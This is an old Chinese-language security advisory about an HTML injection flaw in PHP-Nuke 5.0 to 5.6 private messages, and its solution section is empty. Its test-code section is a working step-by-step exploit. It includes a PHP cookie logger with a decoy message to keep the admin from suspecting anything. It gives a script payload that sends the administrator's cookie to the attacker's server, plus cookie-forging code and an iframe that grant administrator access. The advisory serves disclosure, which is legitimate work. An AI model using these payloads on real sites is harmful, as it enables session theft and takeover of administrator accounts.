xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

PHP-Nuke个人消息存在HTML插入漏洞


发布时间:2002-08-21
更新时间:2002-08-21
严重程度:
威胁程度:控制应用程序系统
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:5476

受影响系统
Francisco Burzi PHP-Nuke 5.0
Francisco Burzi PHP-Nuke 5.0.1
Francisco Burzi PHP-Nuke 5.1
Francisco Burzi PHP-Nuke 5.2 a
Francisco Burzi PHP-Nuke 5.2
Francisco Burzi PHP-Nuke 5.3.1
Francisco Burzi PHP-Nuke 5.4
Francisco Burzi PHP-Nuke 5.5
Francisco Burzi PHP-Nuke 5.6
详细描述
PHP-Nuke是基于WEB的管理创建程序,由PHP编写。

PHP-Nuke允许用户发送个人消息给其他用户,但对这些消息中的内容缺少正确检查,攻击者可以插入任意HTML代码,发送消息给如管理员,可导致管理员的COOKIE等信息泄露。

其中COOKIE信息包含MD5加密后的信息,用户通过更改COOKIE字段中的信息,插入管理员COOKIE中的MD5加密后信息,再访问系统可导致以管理员权限访问系统。

测试代码
1,在自己服务器上建立如下文件:

cookie.php:

<?
$fp = fopen("cookie.txt","a");
fputs($fp, $cookie);
fclose($fp);
print "Message Not Found!"; /* this is so the admin doesnt get scared. and
thinks its some bug. */
?>

test.php:

<?
$admin = base64_encode("decoded_string") ;
setcookie("admin","$admin",time()+2592000);
?>

2,发送个人消息给管理员,消息包含:

<script>document.location.replace('http://yourserver/cookie.php?cookie='+doc
ument.cookie);</script>

3,等待管理员点击然后检查获得COOKIE.TXT内容。

4,复制从admin=到;的内容。


5,http://www.isecurelabs.com/base64.php在这个地址进行BASE64加密,获得如下字符串:

username:md5_encrypted_passwd:language (language可以为空白).

6,粘贴编码字符串到test.php如:

<?
$admin = base64_encode("paste decoded string here");
setcookie("admin","$admin",time()+2592000);
?>

7,以任意用户登陆。

8,发送个人消息给自己,包含:

<iframe src="http://yerserver/test.php"></iframe>

打开消息,然后COOKIE会设置你电脑中,然后编辑相关COOKIE信息把你自己的URL更改为PHPNUKE站点的URL。

9,重新启动浏览器访问PHPNUKE,你就成为管理员。

解决方案


相关信息
"<-delusion->" <delusi0n@bellsouth.net>.
参考:http://online.securityfocus.com/archive/1/287496
相关主页:http://phpnuke.org/